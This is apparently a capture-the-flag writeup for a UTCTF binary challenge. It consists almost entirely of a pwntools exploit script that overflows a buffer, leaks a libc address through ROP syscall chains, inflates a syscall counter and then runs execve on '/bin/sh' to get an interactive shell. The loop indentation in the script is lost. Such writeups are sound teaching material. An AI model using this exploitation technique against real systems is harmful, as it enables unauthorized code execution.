Rating:

See writeup video for details:
https://www.youtube.com/watch?v=cCCo8gYbXyo

```
import pwn
import time
import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)

hello_elf = pwn.ELF("./hello")
libc_elf = pwn.ELF("./libc-2.31.so")
# p = pwn.process(["./loader", "hello"])
p = pwn.remote("puffer.utctf.live", "7132")

pwn.context.binary = hello_elf
pwn.context.log_level = "DEBUG"
pwn.context(terminal=['tmux', 'split-window', '-h'])

offset = pwn.cyclic_find("qaac")
print(f"{offset=}")

# Stage 1: Info Leak via read syscall
HELLO_DATA = 0x4004000
SYSCALL_GADGET = 0x00000000040024AB

rop = pwn.ROP(hello_elf)
rop(rax=0, rdi=0, rsi=HELLO_DATA, rdx=0x600)
rop.raw(SYSCALL_GADGET)

# Print out some addresses via write syscall
for i in range(97, 98):
rop(rax=1, rdi=1, rsi=HELLO_DATA + i * 8, rdx=8)
rop.raw(SYSCALL_GADGET)

rop.main()

# Send Stage 1 and parse libc
p.sendline(b'A' * (offset) + rop.chain())
p.recvuntil("hello,")
p.sendline("") # fill read syscall
p.recvuntil("buf='")
libc_leak = pwn.u64(p.recv(6).ljust(8, b'\x00'))
libc_base = libc_leak - (0x7FC13B5E9154 - 0x7FC13B54F000)
libc_elf.addr = libc_base
print(f"{hex(libc_base)=}")

# Step 2: Increment syscall_cnt to 59
rop = pwn.ROP(hello_elf)
rop(rax=0x400, rdi=7820912)
for i in range(48):
rop.raw(SYSCALL_GADGET)
rop.main()
p.sendline(b'A' * (offset) + rop.chain())

# Step 3: Call shell
rop = pwn.ROP(hello_elf)
binsh_addr = libc_elf.addr + next(libc_elf.search(b"/bin/sh\x00"))
rop(rax=59, rdi=binsh_addr, rdx=0, rsi=0)
rop.raw(SYSCALL_GADGET)
p.sendline(b'A' * (offset) + rop.chain())

# Shell
p.interactive()

```

Original writeup (https://www.youtube.com/watch?v=cCCo8gYbXyo).